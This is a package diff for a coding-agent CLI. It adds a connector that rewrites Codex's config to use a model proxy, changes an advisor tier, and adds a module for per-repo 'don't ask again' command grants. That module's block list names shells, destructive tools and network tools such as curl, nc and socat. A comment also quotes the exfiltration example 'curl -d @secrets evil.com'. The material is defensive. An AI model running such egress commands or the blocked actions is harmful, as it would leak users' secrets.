@yagni-app/code 0.2.1 → 0.3.1

package/dist/connectCodex.js

@@ -0,0 +1,201 @@
+/**
+ * `yagni connect codex` — point Codex CLI at the YAGNI model proxy.
+ *
+ * Writes into `~/.codex/config.toml` (respecting CODEX_HOME):
+ *
+ *   model_provider = "yagni"               the active provider
+ *   model = "advanced"                     a YAGNI tier — Codex sends it
+ *                                          verbatim and the proxy's catalog
+ *                                          enforcement validates it
+ *   [model_providers.yagni]                base_url → `<base>/v1` (Codex
+ *                                          appends /responses — the proxy's
+ *                                          Responses-dialect route),
+ *                                          wire_api "responses" (the only
+ *                                          wire current Codex speaks),
+ *                                          x-yagni-caller: codex attribution,
+ *                                          and auth.command = `yagni token` —
+ *                                          Codex's command-backed bearer
+ *                                          token, so no secret is ever baked
+ *                                          into the config and rotation rides
+ *                                          the same refresh client as
+ *                                          everything else.
+ *
+ * TOML cannot be comment-preservingly round-tripped by a parser, so when the
+ * existing config carries comments we save a one-time `config.toml.yagni-backup`
+ * next to it before rewriting and say so — never silently eat a user's notes.
+ * Everything else follows the claude-code connector's contract: managed keys
+ * only, atomic write, symlink refusal, corrupt file is a loud error, `--off`
+ * removes exactly what we own.
+ */
+import { existsSync, lstatSync, mkdirSync, readFileSync, renameSync, rmSync, writeFileSync } from "node:fs";
+import { homedir } from "node:os";
+import { dirname, join } from "node:path";
+import { parse as parseToml, stringify as stringifyToml } from "smol-toml";
+import { DISTRIBUTION } from "./distribution.js";
+import { credentialsFromProfile, readActiveProfile } from "./profiles.js";
+export const CODEX_PROVIDER_ID = "yagni";
+export const CODEX_DEFAULT_TIER = "advanced";
+export function codexConfigPath(home = homedir(), env = process.env) {
+    const codexHome = env.CODEX_HOME?.trim() ? env.CODEX_HOME.trim() : join(home, ".codex");
+    return join(codexHome, "config.toml");
+}
+function providersOf(config) {
+    const providers = config.model_providers;
+    return providers && typeof providers === "object" && !Array.isArray(providers)
+        ? { ...providers }
+        : {};
+}
+/** Pure: the config after connecting, plus what changed. */
+export function planConnectCodex(existing, input) {
+    const changes = [];
+    const replaced = [];
+    const note = (key, prior, next) => {
+        if (prior === next)
+            return;
+        changes.push(prior === undefined ? `${key} = ${next}` : `${key}: ${String(prior)} → ${next}`);
+        if (prior !== undefined)
+            replaced.push(key);
+    };
+    note("model_provider", existing.model_provider, CODEX_PROVIDER_ID);
+    note("model", existing.model, CODEX_DEFAULT_TIER);
+    const providers = providersOf(existing);
+    if (providers[CODEX_PROVIDER_ID] === undefined) {
+        changes.push(`model_providers.${CODEX_PROVIDER_ID} = (provider block)`);
+    }
+    providers[CODEX_PROVIDER_ID] = {
+        name: "YAGNI",
+        base_url: `${input.baseUrl}/v1`,
+        wire_api: "responses",
+        http_headers: { "x-yagni-caller": "codex" },
+        auth: { command: input.commandName, args: ["token"] },
+    };
+    return {
+        config: {
+            ...existing,
+            model_provider: CODEX_PROVIDER_ID,
+            model: CODEX_DEFAULT_TIER,
+            model_providers: providers,
+        },
+        changes,
+        replaced,
+    };
+}
+/** Pure: the config after `--off` — our provider and its selection out. */
+export function planDisconnectCodex(existing) {
+    const removed = [];
+    const out = { ...existing };
+    const providers = providersOf(existing);
+    if (providers[CODEX_PROVIDER_ID] !== undefined) {
+        removed.push(`model_providers.${CODEX_PROVIDER_ID}`);
+        delete providers[CODEX_PROVIDER_ID];
+    }
+    if (Object.keys(providers).length === 0)
+        delete out.model_providers;
+    else
+        out.model_providers = providers;
+    // The model selection is only ours when it points at our provider — a
+    // foreign model_provider (and its paired model) is left untouched.
+    if (out.model_provider === CODEX_PROVIDER_ID) {
+        removed.push("model_provider");
+        delete out.model_provider;
+        if (typeof out.model === "string") {
+            removed.push("model");
+            delete out.model;
+        }
+    }
+    return { config: out, removed };
+}
+/** Read + parse the Codex config. Missing → {}. Corrupt/symlink → throws. */
+export function readCodexConfig(path) {
+    if (!existsSync(path))
+        return { config: {}, raw: null };
+    if (lstatSync(path).isSymbolicLink()) {
+        throw new Error(`${path} is a symlink; refusing to rewrite it. Point yagni at the real file.`);
+    }
+    const raw = readFileSync(path, "utf8");
+    let parsed;
+    try {
+        parsed = parseToml(raw);
+    }
+    catch {
+        throw new Error(`${path} is not valid TOML. Fix or remove it, then re-run.`);
+    }
+    if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
+        throw new Error(`${path} does not hold a TOML table. Fix or remove it, then re-run.`);
+    }
+    return { config: parsed, raw };
+}
+const COMMENT_RE = /^\s*#|\s#/m;
+/**
+ * Atomic write; when the original text carried comments (which a parse →
+ * stringify round-trip cannot preserve), a `config.toml.yagni-backup` copy of
+ * the original is written first. Returns the backup path when one was made.
+ */
+export function writeCodexConfig(path, config, originalRaw) {
+    mkdirSync(dirname(path), { recursive: true });
+    let backupPath = null;
+    if (originalRaw !== null && COMMENT_RE.test(originalRaw)) {
+        backupPath = `${path}.yagni-backup`;
+        writeFileSync(backupPath, originalRaw);
+    }
+    const existingMode = existsSync(path) ? lstatSync(path).mode & 0o777 : undefined;
+    const tmp = join(dirname(path), `.${DISTRIBUTION.commandName}-connect-codex-${process.pid}.tmp`);
+    try {
+        writeFileSync(tmp, `${stringifyToml(config)}\n`, existingMode !== undefined ? { mode: existingMode } : {});
+        renameSync(tmp, path);
+    }
+    finally {
+        rmSync(tmp, { force: true });
+    }
+    return backupPath;
+}
+export async function connectCodexCommand(opts, deps = {}) {
+    const stdout = deps.stdout ?? ((t) => process.stdout.write(t));
+    const stderr = deps.stderr ?? ((t) => process.stderr.write(t));
+    const env = deps.env ?? process.env;
+    const path = codexConfigPath(deps.home, env);
+    const profile = await (deps.readProfile ?? readActiveProfile)();
+    let file;
+    try {
+        file = readCodexConfig(path);
+    }
+    catch (err) {
+        stderr(`${err instanceof Error ? err.message : String(err)}\n`);
+        return 1;
+    }
+    if (opts.off) {
+        const plan = planDisconnectCodex(file.config);
+        if (plan.removed.length === 0) {
+            stdout(`Nothing to disconnect in ${path}.\n`);
+            return 0;
+        }
+        const backup = writeCodexConfig(path, plan.config, file.raw);
+        stdout(`✓ Codex disconnected from YAGNI.\n  ${path}\n  Removed: ${plan.removed.join(", ")}\n`);
+        if (backup)
+            stdout(`  Comments in the original were preserved at ${backup}.\n`);
+        return 0;
+    }
+    const creds = credentialsFromProfile(profile);
+    if (!creds?.token) {
+        stderr(`Not logged in to environment "${profile.name}" (${profile.baseUrl}). Run \`${DISTRIBUTION.commandName} login\` first.\n`);
+        return 1;
+    }
+    const plan = planConnectCodex(file.config, {
+        baseUrl: profile.baseUrl,
+        commandName: DISTRIBUTION.commandName,
+    });
+    const backup = writeCodexConfig(path, plan.config, file.raw);
+    stdout(`✓ Codex connected to YAGNI (${profile.name} → ${profile.baseUrl}).\n`);
+    stdout(`  ${path}\n`);
+    for (const change of plan.changes)
+        stdout(`    ${change}\n`);
+    for (const key of plan.replaced) {
+        stdout(`  Replaced an existing ${key}. \`connect codex --off\` removes YAGNI's value but cannot restore the old one.\n`);
+    }
+    if (backup) {
+        stdout(`  Your config had comments, which a rewrite cannot keep. The original is at ${backup}.\n`);
+    }
+    stdout(`  Restart Codex to pick this up. It runs \`${DISTRIBUTION.commandName} token\` for credentials and serves the "${CODEX_DEFAULT_TIER}" tier; edit \`model\` to any YAGNI tier to change that.\n`);
+    return 0;
+}
+//# sourceMappingURL=connectCodex.js.map

package/dist/doctor.d.ts

@@ -94,7 +94,7 @@ export interface DoctorDeps {
 export declare function ghOnPathDefault(env?: NodeJS.ProcessEnv): boolean;
 /**
  * Locate the bash pi will actually use on Windows. The order and locations
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible

package/dist/doctor.js

@@ -316,7 +316,7 @@ export function ghOnPathDefault(env = process.env) {
 }
 /**
  * Locate the bash pi will actually use on Windows. The order and locations
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible

package/dist/extension/advisor.d.ts

@@ -22,8 +22,8 @@
  * State is held in a closure via {@link makeAdvisorState}; no module-level
  * mutable state, so two sessions in one process cannot bleed into each other.
  */
-/** The session tier that may escalate. Balanced only, by design. */
-export declare const ADVISOR_TIER = "balanced";
+/** The session tier that may escalate. Advanced only, by design. */
+export declare const ADVISOR_TIER = "advanced";
 /** The tier a consult itself runs on. */
 export declare const ADVISOR_MODEL_TIER = "peak";
 /** Bounds on escalation within a single session. */
@@ -64,8 +64,8 @@ export interface ConsultGateInput {
  * The tier check reads the model at CALL time rather than at registration time:
  * tools register once at activation but pi's picker can switch the session model
  * afterwards, so a registration-time check would both leave the tool live after
- * switching away from Balanced and hide it forever from a session that switched
- * to Balanced.
+ * switching away from Advanced and hide it forever from a session that switched
+ * to Advanced.
  */
 export declare function decideConsult(input: ConsultGateInput): ConsultDecision;
 /**

package/dist/extension/advisor.js

@@ -22,8 +22,8 @@
  * State is held in a closure via {@link makeAdvisorState}; no module-level
  * mutable state, so two sessions in one process cannot bleed into each other.
  */
-/** The session tier that may escalate. Balanced only, by design. */
-export const ADVISOR_TIER = "balanced";
+/** The session tier that may escalate. Advanced only, by design. */
+export const ADVISOR_TIER = "advanced";
 /** The tier a consult itself runs on. */
 export const ADVISOR_MODEL_TIER = "peak";
 export const DEFAULT_ADVISOR_LIMITS = {
@@ -49,17 +49,16 @@ export function makeAdvisorState() {
  * The tier check reads the model at CALL time rather than at registration time:
  * tools register once at activation but pi's picker can switch the session model
  * afterwards, so a registration-time check would both leave the tool live after
- * switching away from Balanced and hide it forever from a session that switched
- * to Balanced.
+ * switching away from Advanced and hide it forever from a session that switched
+ * to Advanced.
  */
 export function decideConsult(input) {
     const { model, state, limits } = input;
     if (model !== ADVISOR_TIER) {
         return {
             allow: false,
-            reason: `ask_advisor is only available on the Balanced tier (this session is on ` +
-                `"${model ?? "unknown"}"). Switch the model to Balanced to consult the ` +
-                `peak-tier advisor, or reason it through on the current tier.`,
+            reason: `ask_advisor is only available on the Advanced tier (this session is on ` +
+                `"${model ?? "unknown"}").`,
         };
     }
     if (state.consults >= limits.maxConsults) {

package/dist/extension/approvedPrefixes.d.ts

@@ -0,0 +1,103 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { type ExecPolicy } from "./execPolicy.js";
+export interface ApprovedPrefixGrant {
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    pattern: string[];
+    /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
+    repoKey: string;
+    /** ISO timestamp of the grant. */
+    addedAt: string;
+    /** The cwd where the grant was made (provenance for a future revoke UI). */
+    cwd: string;
+}
+export interface ApprovedPrefixFile {
+    version: 1;
+    grants: ApprovedPrefixGrant[];
+}
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export declare const BANNED_PREFIXES: Set<string>;
+export declare function derivePrefix(command: string): string[] | null;
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export declare function storagePrefix(command: string): string;
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
+/** Human label for the remember option: "git push …". */
+export declare function describePrefix(pattern: string[]): string;
+/**
+ * Could {@link derivePrefix} ever have produced this pattern? The persisted
+ * file is plain JSON on disk, so a row that derivation could not have written
+ * (a banned interpreter/destruction/egress prefix, a bare multi-subcommand
+ * tool, a path-prefixed word, or an over-long pattern) is treated as
+ * tampered/corrupt and dropped at load time rather than honored (PR #1698
+ * review). This is defense in depth, not the trust boundary itself — the
+ * boundary is that grants only enter the live gate at startup or through the
+ * gate's own ask flow.
+ */
+export declare function isDerivablePattern(pattern: readonly string[]): boolean;
+export declare function rulesFilePath(homeOverride?: string | null): string;
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export declare function resolveRepoKey(cwd: string): string;
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
+//# sourceMappingURL=approvedPrefixes.d.ts.map

package/dist/extension/approvedPrefixes.js

@@ -0,0 +1,282 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
+import { codeStateHome } from "./stateHome.js";
+// --- Derivation ---
+/** Tools whose second token is a subcommand worth capturing in a prefix. */
+const MULTI_SUBCOMMAND_TOOLS = new Set([
+    "git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
+]);
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export const BANNED_PREFIXES = new Set([
+    "bash", "sh", "zsh", "fish", "dash", "ksh",
+    "python", "python3", "node", "ruby", "perl", "deno", "bun",
+    "sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
+    "rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
+    "curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
+]);
+/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
+const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
+/**
+ * Derive the grantable prefix for a command, or null when the command is not
+ * grantable: multi-segment/compound, carries shell constructs, banned prefix,
+ * or a bare multi-subcommand tool with no subcommand.
+ */
+/**
+ * A command qualifies for grant coverage only when it is one plain command:
+ * no operators, no constructs (checked via the quote-aware tokenizer, so
+ * `git commit -m "a & b"` still qualifies — the & is quoted text).
+ */
+function isSinglePlainCommand(command) {
+    return !shellParse(command).some((t) => typeof t === "object");
+}
+export function derivePrefix(command) {
+    // Grants only ever cover single plain commands. Any operator or construct
+    // (|, &&, ;, newline, redirect, substitution, &) disqualifies.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    const first = tokens[0];
+    // Path-prefixed or escaped command words are never grantable.
+    if (first.includes("/") || first.startsWith("\\"))
+        return null;
+    if (BANNED_PREFIXES.has(first))
+        return null;
+    if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
+        const second = tokens[1];
+        if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
+            return null;
+        return [first, second];
+    }
+    return [first];
+}
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export function storagePrefix(command) {
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return "(empty)";
+    const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
+    const slash = rawFirst.lastIndexOf("/");
+    const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
+    const second = tokens[1];
+    if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
+        return `${first} ${second}`;
+    }
+    return first;
+}
+// --- Matching ---
+/**
+ * git-push refspec shapes that encode force/delete positionally: a leading
+ * `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
+ * remote branch). Confirmed unfencable via flag lists — so any such arg
+ * knocks the command out of grant coverage entirely.
+ */
+function hasGitPushRefspecDanger(tokens) {
+    return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
+}
+/**
+ * Flags that must never ride a grant even though the exec policy leaves them
+ * in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
+ * standing grant for it would be a silent force-push license).
+ */
+function hasGrantFencedFlag(pattern, tokens) {
+    if (pattern[0] === "git" && pattern[1] === "push") {
+        return tokens.some((t) => t.startsWith("--force") || t === "-f");
+    }
+    return false;
+}
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export function matchesGrant(command, grants, repoKey) {
+    // Same single-plain-command restriction as derivation.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    for (const grant of grants) {
+        if (grant.repoKey !== repoKey)
+            continue;
+        if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
+            continue;
+        if (!grant.pattern.every((p, i) => tokens[i] === p))
+            continue;
+        if (hasGrantFencedFlag(grant.pattern, tokens))
+            continue;
+        if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
+            continue;
+        return grant;
+    }
+    return null;
+}
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export function validateGrant(command, policy, repoKey) {
+    const pattern = derivePrefix(command);
+    if (!pattern)
+        return null;
+    if (classifyCommand(command, policy).decision !== "prompt")
+        return null;
+    const candidate = {
+        pattern,
+        repoKey,
+        addedAt: new Date().toISOString(),
+        cwd: "",
+    };
+    return matchesGrant(command, [candidate], repoKey) ? candidate : null;
+}
+/** Human label for the remember option: "git push …". */
+export function describePrefix(pattern) {
+    return `${pattern.join(" ")} …`;
+}
+/**
+ * Could {@link derivePrefix} ever have produced this pattern? The persisted
+ * file is plain JSON on disk, so a row that derivation could not have written
+ * (a banned interpreter/destruction/egress prefix, a bare multi-subcommand
+ * tool, a path-prefixed word, or an over-long pattern) is treated as
+ * tampered/corrupt and dropped at load time rather than honored (PR #1698
+ * review). This is defense in depth, not the trust boundary itself — the
+ * boundary is that grants only enter the live gate at startup or through the
+ * gate's own ask flow.
+ */
+export function isDerivablePattern(pattern) {
+    if (pattern.length < 1 || pattern.length > 2)
+        return false;
+    const first = pattern[0];
+    if (first.includes("/") || first.startsWith("\\"))
+        return false;
+    if (BANNED_PREFIXES.has(first))
+        return false;
+    if (pattern.length === 2) {
+        const second = pattern[1];
+        if (!MULTI_SUBCOMMAND_TOOLS.has(first))
+            return false;
+        if (second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
+            return false;
+        return true;
+    }
+    // Derivation never emits a bare multi-subcommand tool ("git" alone).
+    return !MULTI_SUBCOMMAND_TOOLS.has(first);
+}
+// --- I/O half ---
+export function rulesFilePath(homeOverride = null) {
+    return join(codeStateHome(homeOverride), "rules.json");
+}
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export function resolveRepoKey(cwd) {
+    try {
+        const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
+            encoding: "utf8",
+            stdio: ["ignore", "pipe", "ignore"],
+            timeout: 3_000,
+        }).trim();
+        if (url.length > 0)
+            return url;
+    }
+    catch {
+        // fall through to realpath
+    }
+    try {
+        return realpathSync(cwd);
+    }
+    catch {
+        return cwd;
+    }
+}
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export function loadGrants(homeOverride = null) {
+    try {
+        const path = rulesFilePath(homeOverride);
+        if (!existsSync(path))
+            return [];
+        const parsed = JSON.parse(readFileSync(path, "utf8"));
+        if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
+            return [];
+        return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
+            g.pattern.length > 0 &&
+            g.pattern.every((t) => typeof t === "string") &&
+            isDerivablePattern(g.pattern) &&
+            typeof g.repoKey === "string" &&
+            typeof g.addedAt === "string" &&
+            typeof g.cwd === "string");
+    }
+    catch {
+        return [];
+    }
+}
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export function appendGrant(grant, homeOverride = null) {
+    const current = loadGrants(homeOverride);
+    const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
+    const merged = isDuplicate ? current : [...current, grant];
+    try {
+        const path = rulesFilePath(homeOverride);
+        mkdirSync(dirname(path), { recursive: true });
+        const file = { version: 1, grants: merged };
+        writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
+    }
+    catch {
+        // Fail-soft: the in-memory grant still applies for this session.
+    }
+    return merged;
+}
+//# sourceMappingURL=approvedPrefixes.js.map